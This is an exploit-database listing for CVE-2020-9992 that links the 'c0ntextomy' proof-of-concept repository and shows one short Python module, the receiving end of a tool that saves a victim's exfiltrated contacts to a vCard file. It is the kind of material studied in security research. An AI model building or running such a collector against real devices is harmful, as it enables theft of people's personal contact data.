Exploit database

GH-57a1fa37a60cfc1e246b6768d1591437

c0ntextomy/c0ntextomy

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2020-9992

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

c0ntextomy/src/rec0ntextualizer/modules/get_contacts/module.py

Python · 394 bytes
import os

def handle_client(client, artifacts_dir):
	size, data = client.get_tlv_packet()

	if size == 0:
		client.log_info('get_contacts: Received artifact with size: {}'.format(size))
		return

	client.log_info('get_contacts: Received artifact with size: {}'.format(size))
	artifact_path = os.path.join(artifacts_dir, 'contacts.vcard')
	with open(artifact_path, 'wb') as f:
		f.write(data);